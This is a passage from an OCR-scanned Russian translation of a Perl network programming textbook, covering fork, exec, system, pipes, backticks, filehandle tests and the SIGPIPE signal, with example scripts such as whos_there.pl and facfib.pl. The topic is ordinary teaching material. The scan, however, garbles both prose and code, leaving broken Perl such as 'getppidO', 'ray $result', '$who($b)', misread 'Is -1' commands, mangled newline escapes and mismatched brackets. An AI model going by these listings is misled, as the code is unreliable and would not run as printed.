возвращает PID дочернего процесса, в дочернем— числовое значение 0. После этого
выполнение кода продолжается и предусматривает проведение одних действий в
родительском процессе и других — в дочернем.
5р0 - frrk(>
Ь'ствление с созданием нсрого процесса. Возвращает РЮ дочернего процесса 8 родительском
процессе и 0V- в дочернем В случае ошибки (например, при нёдоста^бчнем объеме памяти дйя
ветвления) возвращает unrief и устанавлигаег у качестве значения переменней S!
соответствующее Согб -ние'^СошиСке =г_ ^_
Если родительский и дочерний процессы должны вступить во взаимодействие
друг с другом после ветвления, они могут это осуществить с помощью канала (как
описано далее в разделе "Каналы") или через разделяемую память (как описано в
главе 14, раздел "Адаптивный сервер с предварительным ветвлением, использующий
разделяемую память"). Для передачи простых сообщений родительский и дочерний
процессы могут посылать друг друг)' сигналы с использованием функции kill (),
указывая идентификаторы процессов. Родительский процесс получает PID дочернего
процесса из кода результата функции fork (), а дочерний может получить PID
родительского процесса, вызвав функцию getppid (). Процесс может установить
собственный PID, определив значение специальной переменной $$.
Глава 2. Процессы, каналы и сигналы
59
Spi-i - getpridO
БозврЭщЗет PID рсди«л^<хо прсцес£а. Каждый сценарий Ferl имеет родительский -процесс,
даже если гн запущен из командной строки <его родительским пргцсесги является :пр>."1цссс кгманд,-
ного мнт(.рп,х!татсра).
S5 *
Переменная SS содержит текущий Р1Э процесса. Значение этой переменной можно читать-, не
не изменять 1
Функция kill () будет рассматриваться далее в этой главе, в разделе "Сигналы".
В случае необходимости дочерний процесс может сам вызвать функцию f ork (),
создавая собственный дочерний процесс. Первоначальный родительский объект также
может снова вызвать функцию f ork (), как и все его потомки. Таким образом, сценарии
Perl могут создавать совокупность процессов (которые не должны конфликтовать друг
с другом). Если не будет выполнено некоторое специальное действие, каждый член этой
совокупности будет принадлежать к одной и той же группе процессов.
Каждая группа процессов имеет уникальный идентификатор, который обычно
совпадает с идентификатором процесса общего предка. Это значение можно
получить путем вызова функции getpgrp ().
;$processid = getpgrp ([ $pid] ) ,» '
Функция getpgrp (") возвра1±|ает идентификатор группы процессов для процесса, указанного па- ;
рамётром $pid. Если в вызове этой функции PID не указан-, она возвращает идентификатор группы •
-процессов для текущего процесса.
Каждый член группы процессов разделяет все дескрипторы файлов, которые были
открыты к тому моменту, как его родительский процесс выполнил ветвление. В частности,
они имеют доступ к одним и тем же дескрипторам файлов STDIN, STDOUT и STDERR. Эта
ситуация может измениться, если один из дочерних процессов закроет дескриптор файла
или переоткроет его с каким-то другим источником данных. Однако система следит за тем,
в каких дочерних процессах открыты дескрипторы файлов, и не закроет файл до тех пор,
пока последний дочерний процесс не закроет свою копию дескриптора файла.
В листинге 2.1 показан типичный пример ветвления. Перед ветвлением
происходит вывод на устройство вывода значения PID, хранящегося в переменной $$. Затем
выполняется функция fork (), и результат записывается в переменную $child. Если
результат является неопределенным, значит, выполнение функции f or к ()
завершилось неудачей, поэтому вызывается функция die с сообщением об ошибке.
Листинг 2.1. В этом сценарии выполняется ветвление с порождением одного
дочернего Процесса
0: #!/usr/bin/perl
1: # Файл: fork.pl ,,
2: ' print "PID=$$\n"; ,
3: my $child = fork();
4: die "Can't fork: $!" unless defined $child;
5: if ($child > 0) { # Родительский процесс
6: print "Parent process: PID=$$, child=$child\n";
60 Часть I. Основы
} else { # Дочерний процесс
my $ppid = getppidO ;
print "Child process: PID=$$, parent=$ppid\n"
10: )
Затем происходит проверка значения переменной $child для определения того,
выполняется ли родительский или дочерний процесс. Если значение $child отлично от
нуля, значит, выполняется родительский процесс. На печать вьтодится значение PID этого
процесса и содержимое переменной $child, которая содержит РГО дочернего процесса.
Если значение $child равно нулю, выполняется дочерний процесс. Для
получения PID родительского процесса вызывается функция ppid (), и это значение
выводится на устройство вывода вместе со значением PID самого дочернего процесса.
Ниже показан результат выполнения сценария fork. pi.
% fork.pl
PID=372
Parent process: PID=372, child=373
Child process: PID=373, parent=372
Функции system() и ехес()
Еще один способ запуска подпроцесса в сценарии Perl состоит в использовании
функции system (). Эта функция выполняет другую программу как подпроцесс,
ожидает ее завершения, а затем выполняет возврат. В случае успешного выполнения
функция system () возвращает код результата 0 (обратите внимание, что это не
соответствует обычному соглашению языка Perl!). В ином случае эта функция
возвращает значение -1, если нельзя было выполнить запуск программы, или код результата
выполнения программы, если она завершилась с ошибкой. Дополнительные сведения
о том, как полностью интерпретировать информацию о состоянии выхода,
приведены в описании переменной $? в документе perlvar POD.
i; Sstatus = system ('ссстг-and and arguments')
--" Функция ^ystem(-) вызывает-на выполнение команду command как подпроцесс и ждет
ее;завершения: Команду 'и её. параметры можно указать в виде одной строки или списка, содержащего
команду и ее параметры как отдельные элементы. В первом случае строка передается командному !
интерпретатрру.на обработку в неизменном виде. Это позволяет, выполнять команды, содержащие !
метасимволы командного интерпретатора (такие как символы перенаправления ввода-вывода), но |
создает возможность непредвиденной трактовки командным интерпретатором выполняемых команд. }
Последняя о>орма позволяет выполнять команды с параметрами, которые содержат пробельные ■
символы, метасимволы командного интерпретатора и другие специальные символы, но абсолютно \
исключает интерпретацию метасимволов командным интерпретатором. ,_. . Д
Функция exec () аналогична system (), но замещает текущий процесс указанной
командой. В случае успеха она никогда не выполняет возврат, поскольку процесс, из
которого она была вызвана, уничтожается. Новый процесс имеет тот же PID, что
и старый, и разделяет те же дескрипторы файлов STDIN, STD0UT, и STDERR. Однако
другие открытые дескрипторы файла закрываются автоматически .
Б сценарии можно предусмотреть сохранение некоторых дескрипторов файлов после выполнения функции
exec () путем установки определенного значения специальной переменной $"F. Дополнительные сведения
приведены в документе perlvar POD.
Глава 2. Процессы, каналы и сигналы 61
К $status = exec(•command and arguments')
*;.: $status =;.екесЧ,'.СтпР1ЧПн•, 'and', 'arguments')
L Функция exec (^выполняет команду и замещает текущий процесс. Она возвращает код состоя-
j ния только в случае неудачного завершения. В ином случае она не выполняет возврат. Формы с од-
;= ним параметром и списком параметров аналогичны используемым в функции systemq.-....,^Л
Функция exec () часто используется в сочетании с функцией fork() для
выполнения команд в виде подпроцессов после некоторой специальной подготовки.
Например, после ветвления в следующем фрагменте кода дочерний процесс
переоткрывает дескриптор файла STDOUT для вывода в файл, а затем вызывает функцию
exec () для выполнения команды Is -1. В системах UNIX эта команда
вырабатывает листинг каталога в длинном формате. Действие этого фрагмента кода сводится
к тому, что команда Is -1 выполняется в фоновом режиме и вывод этой команды
записывается в указанный файл.
my $child = fork();
die "Can't fork: $!" unless defined $child;
if ($child ==0} { # Мы теперь находимся в дочернем процессе
open (STDOUT,">log.txt") or die "open() error: $!";
exec('Is','-1') ;
die "exec error(): $!"; # Мы не должны были сюда попасть
>
Применение функции exec () в такой форме будет описано в главе 10, в разделе
"Супердемон inetd".
Каналы
Сетевое программирование полностью сводится к межпроцессной связи
(IPC —interprocess communication). Во время этой связи процессы обмениваются
данными. В зависимости от приложения, два взаимодействующих процесса могут
функционировать на одном и том же компьютере или на двух разных, а компьютеры могут
находиться в одном и том же сегменте локальной сети или в разных подсетях
глобальной сети. Два процесса могут иметь много общего, если, например, один из них
предназначен для работы под управлением другого, или могут обеспечивать
взаимодействие лишь в узких рамках, если они были разработаны с промежутком в
несколько десятилетий разными авторами, для разных операционных систем.
Самой простой формой межпроцессной связи, предоставляемой языком Perl,
является канал. Канал — это дескриптор файла, который подключает текущий сценарий
к стандартному входу или стандартному выходу другого процесса. Каналы полностью
реализованы в версиях Perl для UNIX, VMS и Microsoft Windows, а в системе
Macintosh реализованы только в среде MPW.
Открытие канала
Для открытия канала применяется форма функции open () с двумя параметрами.
Как и прежде, первый параметр представляет собой произвольное имя дескриптора
файла. Однако вторым параметром является другая программа и все ее параметры,
которым либо предшествует, либо за которым следует символ канала " |". Команда вызова
программы должна быть введена точно так же, как и в командном интерпретаторе one-
62
Часть I. Основы
рационной системы, применяемом по умолчанию. Таковым в системах UNIX является
командный интерпретатор Bourne ("sh"), а в системах Microsoft Windows— командный
интерпретатор DOS/NT. В параметре вызова программы может быть указан полный
путь к ее выполняемому файл)', например /usr/bin/ls, или может быть
предусмотрена возможность поиска этого выполняемого файла с помощью переменной среды PATH.
Если символ канала предшествует имени программы, то дескриптор файла
открывается для записи и все, что записано в этот дескриптор файла, отправляется на
стандартный вход программы. Если символ канала следует за именем программы, то
дескриптор файла открывается для чтения и все, что считано из этого дескриптора
файла, поступает со стандартного выхода программы.
Например, в системе UNIX команда Is -1 возвращает список файлов,
находящихся в текущем каталоге. Передав функции open () параметр "Is -1 |", можно
открыть канал для чтения из этой команды.
open (LSFH,"ls -1 |") or die "Can't open Is -1: $!";
while (my $line = <LSFH>) {
print "I saw: $line\n";
}
close LSFH;
B этом фрагменте кода просто выдается на устройство вывода в неизменном виде
каждая строка, полученная при выполнении команды Is -1. В реальном приложении
с полученной информацией могут быть выполнены какие-то более важные действия.
В качестве примера выходного канала укажем, что команда wc -lw системы UNIX
позволяет подсчитать число строк (опция "-1") и слов (опция "-w") в текстовом
файле, отправленном на стандартный вход. В этом фрагменте кода открывается канал
в команду, выполняется запись в него нескольких строк текста, а затем канал
закрывается. После выполнения программы число слов и строк, полученное командой wc,
распечатывается в окне команды.
open(WC,"I wc -lw") or die "Can't open wordcount: $!";
print WC "This is the first line.W;
print WC "This is the another line.Xn";
print WC "This is the last line.Xn";
print WC "Oops. I lied.\n";
close WC;
Модуль IO: : Filehandle обеспечивает поддержку каналов с помощью
предусмотренного в нем метода open ().
$wc = IO::Filehandle->open("| wc -lw")
or die "Can't open wordcount: $!";
Применение каналов
Рассмотрим пример практически применимой программы (листинг 2.2).
Программа whos_there.pl открывает канал в команду who UNIX и подсчитывает,
сколько раз регистрировался каждый пользователь. Она вырабатывает примерно
такой отчет.
% whos_there.pi
jsmith 9
abu 5
lstein 1
palumbo 1
Глава 2. Процессы, каналы и сигналы
63
Здесь указано, что пользователи "j smith" и "abu" зарегистрировались,
соответственно, 9 и 5 раз, а пользователи "Istein" и "palumbo" — по одном)' разу. Имена
пользователей отсортированы по порядку убывания числа случаев регистрации. Сценарий
такого рода может применяться администратором загруженной системы для
контроля над ее использованием.
Листинг 2.2. Сценарий, в котором открывается канал в команду who
о
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/perl
# Файл: whos_there.pl
use strict;
my %who; # Информация о регистрации пользователей
open (WHOFH, "who |") or die "Can't open who: $!";
while (<WH0FH>) {
next unless /~(\S+)/;
$who{$l}++;
}
foreach (sort {$who($b)<=>$who{$a}} keys %who) {
printf "%10s %d\n",$_,$who($_);
)
close WHOFH or die "Close error: $!";
Проведем анализ программы.
Строки 1-3. Инициализация сценария. Включена строгая проверка синтаксиса с помощью
оператора use strict. Это позволяет выявить опечатки в именах переменных, неправильное
применение глобальных переменных, ошибки в расстановке кавычек и другие потенциальные
ошибки. Создается локальный хеш %who для хранения перечня зарегистрированных
пользователей и числа случаев их регистрации.
Строка 4. Открытие канала в команду who. Вызывается функция open () с дескриптором
файла whofh, в качестве второго параметра которой используется команда who I. В случае
неудачного завершения функции open () вызывается функция die с сообщением об ошибке.
Строки 5-8. Чтение вывода команды who. Выполняется чтение и построчная обработка
вывода команды who. Каждая строка, возвращаемая командой who, выглядит примерно так:
jsmith pts/23 Aug 12 10:26 (cranshaw.cshl.org).
В этой строке находятся поля с именем пользователя, именем используемого им терминала, датой
регистрации и адресом удаленного компьютера, с которого регистрировался пользователь (формат
этой строки немного изменяется в зависимости от версии UNIX). Для извлечения из строки имени
пользователя применяется сопоставление с образцом, после чего имя пользователя записывается
в хеш %who; при этом подсчитываете*, сколько раз встречалось это имя. Ключами хеша являются
имена пользователей, а значениями — число случаев регистрации пользователя.
Цикл <whofh> завершается после возникновения условия конца файла eof; такое условие
при использовании каналов возникает, когда программа на другом конце канала завершает
свою работу или закрывает стандартное устройство вывода.
Строки 9-11. Распечатка результатов. Выполняется сортировка ключей хеша %who в
соответствии с числом случаев регистрации каждого пользователя, затем осуществляется вывод имени
каждого пользователя и числа случаев их регистрации. Здесь применяется формат функции
printf о в виде строки "%los %d\n"; эта строка формата сообщает функции printf о, что
первый параметр должен быть выведен в виде строки, выровненной вправо в поле шириной 10
символов, затем выведен пробел, а вслед за ним — второй параметр в виде десятичного целого числа.
Строка 12. Закрытие канала. Работа с каналом закончена, поэтому он закрывается с
помощью функции close (). Если во время закрытия канала возникнет ошибка, будет выведено
предупреждающее сообщение.
64
Часть I. Основы
Функции open () и close () были немного доработаны с учетом их применения
с каналами; они предоставляют дополнительную информацию о вызываемом
подпроцессе. При открытии канала функция open () возвращает идентификатор процесса
(PID) команды, выполняемой на другом конце канала. Это — уникальное ненулевое
целое число, которое может применяться для управления подпроцессом с помощью
сигналов (это будет рассматриваться более подробно в одном из следующих разделов,
"Обработка сигналов"). В программе можно сохранить этот идентификатор процесса
в переменной или игнорировать его особый смысл и рассматривать значение,
возвращаемое функцией open (), как логический флажок.
При использовании функции close () для закрытия канала применяются ее
дополнительные возможности, которые предусматривают размещение кода
завершения подпроцесса в специальной глобальной переменной $?. В отличие от обычно
применяемого соглашения Perl, переменная $ ? принимает нулевое значение в случае
успешного выполнения команды и ненулевое — в случае возникновения ошибки. В
документе perlvar POD приведена дополнительная информация о кодах завершения,
как и в разделе "Обработка результатов завершения дочернего процесса" главы 10.
Еще одной особенностью применения функции close () является то, что при
закрытии канала записи вызов этой функции блокируется до тех пор, пока процесс на
другом конце канала не закончит всю свою работу и не завершится. При закрытии
канала чтения до возникновения условия конца файла EOF, программа на другом конце
канала получит сигнал PIPE (см. раздел "Сигнал PIPE") при следующей попытке
записи в стандартное устройство вывода.
Простой способ создания канала- оператор
обратных одинарных кавычек
Оператор обратных одинарных кавычек Perl, ("), представляет собой простой
способ создания одноразового канала для чтения вывода программы. Оператор
обратных одинарных кавычек действует аналогично оператору двойных кавычек, за
исключением того, что он интерпретирует как команду, подлежащую выполнению, все,
что находится между обратными одинарными кавычками.
$ls_output =» "Is1;
В результате будет выполнена команда Is (получение листинга каталога),
перехвачен ее вывод и присвоен скалярной переменной $ls_output.
В ходе этого интерпретатор Perl открывает канал к указанной команде, считывает
все, что она выводит в стандартное устройство вывода, закрывает канал и возвращает
вывод команды в качестве результата выполнения оператора. Как правило, в конце
полученного текста находится символ новой строки, который может быть удален
с помощью функции chomp ().
Оператор обратных одинарных кавычек, как и оператор двойных кавычек,
интерпретирует скалярные переменные и массивы. Например, можно создать
переменную, содержащую параметры, которые предназначены для передачи команде Is.
$arguments = '-1 -F';
$ls_output = "Is $arguments~;
Оператор обратных одинарных кавычек не перенаправляет стандартный вывод
сообщений команды об ошибках. Если подпроцесс выводит диагностические
сообщения или сообщения об ошибках, они смешиваются с диагностическими сообщениями
самой программы. В системах UNIX можно применять средства перенаправления вы-
Глава 2. Процессы, каналы и сигналы
65
вода командного интерпретатора Bourne для объединения стандартного вывода
сообщений об ошибках подпроцесса с его стандартным выводом данных.
$ls_output = 'Is 2>&1';
Теперь переменная $ls_output будет содержать и стандартный вывод
сообщений об ошибках, и стандартный вывод данных команды.
Более мощное средство создания каналов-
функция pipe()
Более мощный и в то же время более сложный способ создания канала состоит
в использовании встроенной функции pipe () языка Perl. Эта функция создает два
дескриптора файлов: для чтения и для записи. Все, что будет записано в один
дескриптор файла, может быть считано из другого.
:v $resultГ- pipeXREM>HANDLEyWiaTEHSlTOLE)'"" " ~ -•-»-.»— J ^ .* |
Открыть пару дескрипторов файлов, соединенных каналом. Первым параметром является имя
дескриптора файла, из которого должно выполняться чтение, а вторым— дескриптор файла, в ко- ,
торый должна выполняться запись. В случае успешного выполнения функция pipe(,) возвращает g
истинный код результата', .ji, »„ ,„ ..'.^ .. ц к.„. „„._ ....... ., .. ~z ., .^ . ,.„.,. ,„. ]
Для чего нужна функция pipe () ? Обычно она применяется вместе с функцией fork ()
для создания родительско-дочерней пары, способной обмениваться данными.
Родительский процесс оставляет для себя один дескриптор файла и закрывает другой, а дочерний
процесс выполняет противоположные действия. После этого родительский и дочерний
процессы могут обмениваться информацией по каналу в ходе параллельной работы.
Возможности этого метода будут показаны на небольшом примере. При
получении положительного целого числа сценарий facfib.pl вычисляет его факториал
и определяет его положение в ряде Фибоначчи. Чтобы можно было воспользоваться
преимуществами современных мультипроцессорных компьютеров, эти вычисления
выполняются в виде двух подпроцессов, что позволяет проводить оба расчета
параллельно. В сценарии используется функция pipe () для создания дескрипторов
файлов, которые могут применяться дочерними процессами для передачи результатов
выполненных вычислений запустившему их родительскому процессу. При
выполнении этой программы будет получен примерно такой результат.
% facfib.pl 8
factorial(1
factorial(2
factorial(3
factorial(4
factorial(5
fibonacci(1
factorial(6
fibonacci(2
factorial(7
fibonacci(3
factorial(8
fibonacci(4
fibonacci(5
fibonacci(6
fibonacci(7
fibonacci(8
=> 1
=> 2
=> 6
=> 24
=> 120
=> 1
=> 720
=> 1
=> 5040
=> 2
=> 40320
=> 3
=> 5
=> 8
=> 13
=> 21
66
Часть I. Основы
Результаты вычисления значений факториала и членов ряда Фибоначчи
чередуются, поскольку вычисления выполняются параллельно.
Пример этой программы показан в листинге 2.3.
Листинг 2.3. Применение функции pipe() для создания связанных
дескрипторов "аилов
#!/usr/bin/perl в
# Файл: facfib.pl
use strict;
my $arg = shift I| 10;
pipe(READER,WRITER) or die "Can't open pipe: $!\n";
if (fork ==0) {
# Первый дочерний процесс выводит данные на устройство WRITER
close READER;
select WRITER; $| = 1;
factorial($arg);
exit 0;
10: }
11: if (fork ==0) {
# Второй дочерний процесс выводит данные на устройство WRITER
close READER;
select WRITER; $| = 1;
ray $result = fibonacci ($arg) ;
exit 0;
}
# Родительский процесс закрывает устройство WRITER и
# читает данные с устройства READER
close WRITER;
print while <READER>;
sub factorial {
ray $target = shift;
for (my $result = l,my $i = 1; $i <= $target; $i++) {
print "factorial($i) => ",$result *= $i,"\n";
)
}
sub fibonacci {
my $target = shift;
my ($a,$b) = (1,0);
for (my $i = 1; $i < = $target; $i++) {
my $c = $a + $b;
print "fibonacci($i) => $c\n";
($a,$b) = ($b,$c);
)
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
)
Проведем анализ программы.
Строки 1-3. Инициализация модуля. Включен режим строгой проверки синтаксиса и выбран
параметр из командной строки. Если параметр не задан, он устанавливается по умолчанию
равным 10.
Строка 4. Создание связанных каналов. Связанные каналы создаются с помощью функции
pipe (). Дескриптор файла reader будет применяться главным (родительским) процессом
для чтения результатов, полученных от дочерних процессов, которые будут выполнять запись
результатов с помощью дескриптора файла writer.
Глава 2. Процессы, каналы и сигналы
67
• Строки 5-10. Создание первого дочернего процесса. Для получения копии текущего
процесса вызывается функция fork (). В родительском процессе функция fork () возвращает
ненулевой идентификатор дочернего процесса, в дочернем — числовое значение О. Если
будет обнаружено, что результат выполнения функции fork () равен о, значит, данный процесс
является дочерним. В этом процессе закрывается дескриптор файла reader, поскольку он не
нужен. Вызывается функция select () с параметром writer, в результате чего этот
дескриптор файла становится применяемым по умолчанию для вывода, и включается режим
автоматического сброса путем установки переменной $ | равной истинному значению. Это
необходимо для того, чтобы родительский процесс получал сообщения из дочернего процесса сразу
после их записи.
Теперь вызывается подпрограмма factorial () с целочисленным параметром, полученным
из командной строки. После этого дочерний процесс оканчивает свою работу, поэтому
вызывается функция exit (). Копия дескриптора файла writer, принадлежащая дочернему
процессу, закрывается автоматически.
• Строки 11-16. Создание второго дочернего процесса. В родительском процессе снова
вызывается функция fork () для создания второго дочернего процесса. Однако этот дочерний
процесс вызывает подпрограмму fibonacci (), а не factorial ().
• Строки 17-19. Обработка сообщений, полученных от дочерних процессов. В
родительском процессе закрывается дескриптор файла writer, поскольку он больше не нужен.
Выполняется построчное чтение из дескриптора файла reader и вывод результатов на
устройство вывода. Эти результаты содержат строки, возвращенные обоими дочерними процессами.
Дескриптор файла reader возвращает значение undef, после того как последний дочерний
процесс закончит свою работу и закроет дескриптор файла writer, отправляя код условия
eof. После этого можно закрыть дескриптор файла reader с помощью функции closed
и проверить код результата или позволить интерпретатору Perl закрыть дескриптор файла при
выходе из программы, как здесь и сделано.
• Строки 20-25. Подпрограмма factorial (). Выполняется расчет значения факториала
параметра подпрограммы простым итерационным способом. На каждом этапе вычисления
выполняется вывод промежуточного результата. Поскольку дескриптор файла writer был
установлен как применяемый по умолчанию с помощью функции select (), каждый вызов
функции print () вводит в канал данные, которые в конечном итоге считываются
родительским процессом.
• Строки 26-34. Подпрограмма fibonaccK). Она идентична подпрограмме factorial О,
кроме выполнения самого расчета.
Можно заставить родительский процесс выполнять что-то более полезное
вместо простого повтора результатов, возвращенных его дочерними процессами.
Вариант такого метода применяется в главе 14 для создания Web-сервера с
предварительным ветвлением. Родительский Web-сервер может управлять сотнями дочер
них процессов, каждый из которых отвечает за обработку входящих запросов Web.
Для корректировки числа дочерних процессов в соответствии с входящей
нагрузкой родительский процесс контролирует состояние дочерних процессов по
сообщениям, отправляемым ими по каналу, и запускает дополнительные дочерние
процессы в условиях высокой нагрузки или уничтожает дочерние процессы в условиях
низкой загрузки.
Функция pipe () может также применяться для создания дескриптора файла,
подключенного к другой программе, во многом аналогично тому, как это выполняет
функция open {), применяемая для создания канала. Такой метод не применяется
в данной книге, но идея состоит в том, что родительский процесс выполняет
функцию fork (), а дочерний переоткрывает либо STDIN, либо STDOUT вместо одного из
парных дескрипторов файлов, а затем вызывает на выполнение требуемую программу
с помощью функции exec () с параметрами. Общий принцип реализации такого
подхода показан ниже.
68
Часть!. Основы
pipe(READER,WRITER) or die "pipe no good: $!";
my $child = fork();
die "Can't fork: $!" unless defined $child;
if ($child ==0) ( # Дочерний процесс
# Дочернему процессу это устройство не требуется
close READER;
# Теперь вывод в STDOUT поступает на устройство WRITER
open (STDOUT,">&WRITER");
exec $cmd,$args;
die "exec failed: $!";
)
# Родительскому процессу это устройство не требуется
close WRITER;
В конце этого фрагмента кода дескриптор файла READER подключается к
стандартному выводу команды $cmd, и полученный результат почти полностью идентичен
следующему коду.
open (READER, "$cmd $args |") or die "pipe no good: $!";
Двунаправленные каналы
И функция open (), применяемая для открытия канала, и функция pipe ()
создают однонаправленные дескрипторы файлов. Если нужно выполнять и чтение, и
запись в другой процесс, это сделать не так-то просто. В частности, следующая
синтаксическая конструкция, которая с виду кажется вполне приемлемой, работать не будет.
open(FH,"| $cmd Г);
Один из способов решения этой задачи состоит в том, что функция pipe ()
вызывается два раза и создаются две пары связанных дескрипторов файлов. Одна пара
применяется для записи из родительского процесса в дочерний, а другая — из
дочернего в родительский; это во многом аналогично тому, как движутся транспортные
потоки по скоростному шоссе с двухсторонним движением. В этой книге данный метод
не рассматривается, но именно так применяются стандартные модули IPC: : 0реп2
и IPC: :Open3 для создания дескрипторов файлов, подключенных к дескрипторам
файлов STDIN, STDOUT и STDERR подпроцесса.
Более изящный способ состоит в создании двунаправленного канала с помощью
функции socketpair (). Эта функция создает два связанных дескриптора файлов, как и
функция pipe (), но оба они предназначены не для односторонней связи, а для
чтения/записи. Данные, записанные в один дескриптор файла, поступают из другого, и
наоборот. Поскольку функция socketpair () основана на тех же принципах, что и функция
soc ket (), применяемая для связи по сети, ее описание будет приведено в главе 4.
Как отличить каналы от простых дескрипторов
файлов
Иногда возникает необходимость проверить дескриптор файла, чтобы узнать,
открыт ли он в файл или в канал. Это можно сделать с помощью средств проверки
дескриптора файла языка Perl (табл. 2.1).
Если дескриптор файла открыт в канал, опция проверки -р возвращает истинное
значение.
print "I've got a pipe!\n" if -p FILEHANDLE;
Глава 2. Процессы, капали и сигналы
69
Таблица 2.1. Опции проверки дескриптора файла языка Perl
Опция проверки
-р
-t
-s
Описание
Дескриптор файла — канал
Дескриптор файла открыт в терминал
Дескриптор файла — сокет
Опции проверки -t и -S позволяют определить дескрипторы файлов других
специальных типов. Если дескриптор файла открыт в терминал (в окно интерпретатора
командной строки), то опция проверки -t возвращает истинное значение. В
программах можно использовать это средство проверки с дескриптором файла STDIN для
определения того, выполняется ли программа в интерактивном режиме или ее
стандартный ввод перенаправлен из файла.
print "Running in batch mode, confirmation prompts disabled.\n"
unless -t STDIN;
Опция проверки -S позволяет определить, открыт ли дескриптор файла в сетевой
сокет (как описано в главе 3).
print "Network active.\n" if -S FH;
Есть еще более десятка других опций проверки файла, которые позволяют
определить размер файла, дату последнего изменения, владельца и другую информацию.
Дополнительные сведения представлены в документе per If unc POD.
Серьезная ошибка PIPE
При чтении в сценарии данных из дескриптора файла, открытого в канал,
программа на другом конце канала может завершить свою работу или просто закрыть
свой конец канала. В этом случае программа получает данные, которые указывают на
возникновение условия EOF в дескрипторе файла. А что происходит, когда сценарий
выполняет запись в канал, а программа на другом конце преждевременно завершает '
свою работу или закрывает свой конец соединения?
Для изучения такой ситуации рассмотрим два коротких сценария Peri. Один из
них, write_ten.pl, открывает канал во вторую программу и пытается записать
в него десять строк текста. В сценарии выполняется проверка кода результата,
полученного от функции print (), и увеличение значения переменной $count при
получении от. функции print () истинного значения. После выполнения
сценарий write_ten.pl выводит содержимое переменной $count с указанием числа
строк, которые были успешно записаны в канал. Вторая программа,
read_three.pl, считывает три строки текста из стандартного устройства ввода,
а затем завершает свою работу.
Эти два сценария показаны в листингах 2.4 и 2.5. Следует отметить, что программа
write_ten.pl переводит канал в режим автоматического сброса, чтобы каждая
строка текста немедленно отправлялась по каналу, а не записывалась в локальный
буфер. Сценарий write_ten.pl после записи каждой строки текста также
предусматривает приостановку с помощью функции sleep () на одну секунду, что дает
возможность сценарию read_three. pi сообщить о том, что текст получен. Все эти
действия, вместе взятые, позволяют легче разобраться в том, что происходит. После
запуска сценария write_ten. pi на выполнение будет получено следующее.
70
Часть!. Основы
% write_ten.pl
Writing line 1
Read_three got: This is line number 1
Writing line 2
Read_three got: This is line number 2
Writing line 3
Read_three got: This is line number 3
Writing line 4
Broken pipe
%
Все происходит в соответствии с нашими ожиданиями, вплоть до строки три,
после обработки которой сценарий read_three .pi завершает свою работу. Когда
сценарий write__ten.pl предпринимает попытку записать четвертую строку текста,
происходит его аварийное завершение с ошибкой Broken pipe (Канал разорван).
Оператор вывода числа строк, успешно переданных по каналу, так и не будет выполнен.
Листинг 2.4. Сценарий write_ten.pl записывает десять строк текста в канал
о
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/perl
# Файл: write_ten.pl
use strict;
open (PIPE,"| read_three.pl") or die "Can't open pipe: $!
select PIPE; $|=1; select STDOUT;
my $count =0;
for (1..10} {
warn "Writing line $_\n";
print PIPE "This is line number $_\n" and $count++;
sleep 1;
}
close PIPE or die "Can't close pipe: $!";
print "Wrote $count lines of text\n";
Если программа на одном конце канала предпринимает попытку записи в канал,
а на другом конце канала ни одна программа не выполняет чтение, такая ситуация
приводит к возникновению исключения PIPE, которое, в свою очередь, вызывает
отправку сигнала PIPE программе записи. По умолчанию этот сигнал приводит к
немедленному завершению работы программы-нарушителя. Такая же ошибка возникает
в сетевых приложениях, когда отправитель пытается передать данные в удаленную
программу, которая завершила свою работу или прекратила прием данных.
Листинг 2.5. Сценарий read_three.pl считывает три строки текста ио стандартного
устройства ввода
#!/usr/bin/perl
# Файл: read_three.pl
use strict;
for (1..3) {
last unless defined (my $line = <>);
warn "Read three got: $line";
}
Чтобы успешно справиться с исключением PIPE, необходимо установить
обработчик сигналов, поэтому перейдем к следующей важной теме.
Глава 2. Процессы, каналы и сигналы
71
Сигналы
Как и дескрипторы файлов, сигналы играют важную роль в сетевом
программировании. Сигнал — это сообщение, отправляемое в программ)- операционной системой
в качестве указания на то, что произошло нечто важное. Он может указывать на
ошибку в самой программе, такую как попытка деления на нуль; на событие, которое
требует немедленного вмешательства, такое как попытка со стороны пользователя
прервать программу; или на второстепенное информационное событие, такое как
окончание подпроцесса, запущенного программой.
Сигналы может отправлять не только операционная система; процессы также
могут посылать сигналы друг другу. Например, если пользователь нажимает
комбинацию клавиш <Ctrl+C> для отправки сигнала прерывания программе, работающей
в настоящее время, этот сигнал отправляет не операционная система, а командный
интерпретатор, который обрабатывает и интерпретирует комбинации клавиш.
Процесс может также посылать сигналы самому себе.
Наиболее часто применяемые сигналы
В стандарте POSIX определено девятнадцать сигналов. Каждый из них имеет
небольшое целочисленное значение и символическое имя. Эти сигналы перечислены
в табл. 2.2 (пропуски в последовательности целых чисел относятся к нестандартным
сигналам, применяемым в некоторых системах).
В третьем столбце таблицы указано, что происходит при получении процессом
данного сигнала. Одни сигналы не приводят к каким-либо действиям, другие же
вызывают немедленное завершение процесса. Однако есть и такие сигналы, которые не
только завершают процесс, но и вызывают дамп ядра системы. Большинство сигналов
может быть "перехвачено". Это значит, что в программе можно установить
обработчик этого сигнала и предпринять специальные действия при его получении. Однако
действие некоторых сигналов нельзя прервать таким образом.
Программисту нет необходимости изучать все сигналы, перечисленные в табл. 2.2,
поскольку некоторые из них либо не возникают во время выполнения сценария Perl,
либо их появление свидетельствует о наличии ошибки низкого уровня в самом
интерпретаторе Perl, с которой невозможно справиться самостоятельно. Однако
небольшая часть сигналов является довольно распространенной, и они будут подробно
рассмотрены ниже.
Сигнал HUP сообщает о событии отключения. Он обычно возникает, если
пользователь вызывает на выполнение программу из командной строки, а затем
закрывает окно интерпретатора командной строки или выходит из командной оболочки.
При получении этого сигнала применяемое по умолчанию действие состоит в
завершении программы.
Сигнал INT сообщает о прерывании по инициативе пользователя. Он возникает,
когда пользователь нажимает клавишу прерывания, как правило, <Ctrl+C>.
Применяемое по умолчанию действие при получении этого сигнала состоит в завершении
программы. Сигнал QUIT аналогичен сигналу INT, но вызывает также создание в
программе файла дампа ядра (в системах UNIX). Этот сигнал вырабатывается, когда
пользователь нажимает клавиш}' выхода, обычно <Ctrl+\>.
72
Часть 1. Основы
Таблица 2.2. Сигналы POSIX
Имя сигнала Значение Примечание Комментарий
HUP
INT
QUIT
ILL
ABRT
FPE
KILL
USRl
SEGV
USR2
PIPE
ALRM
TERM
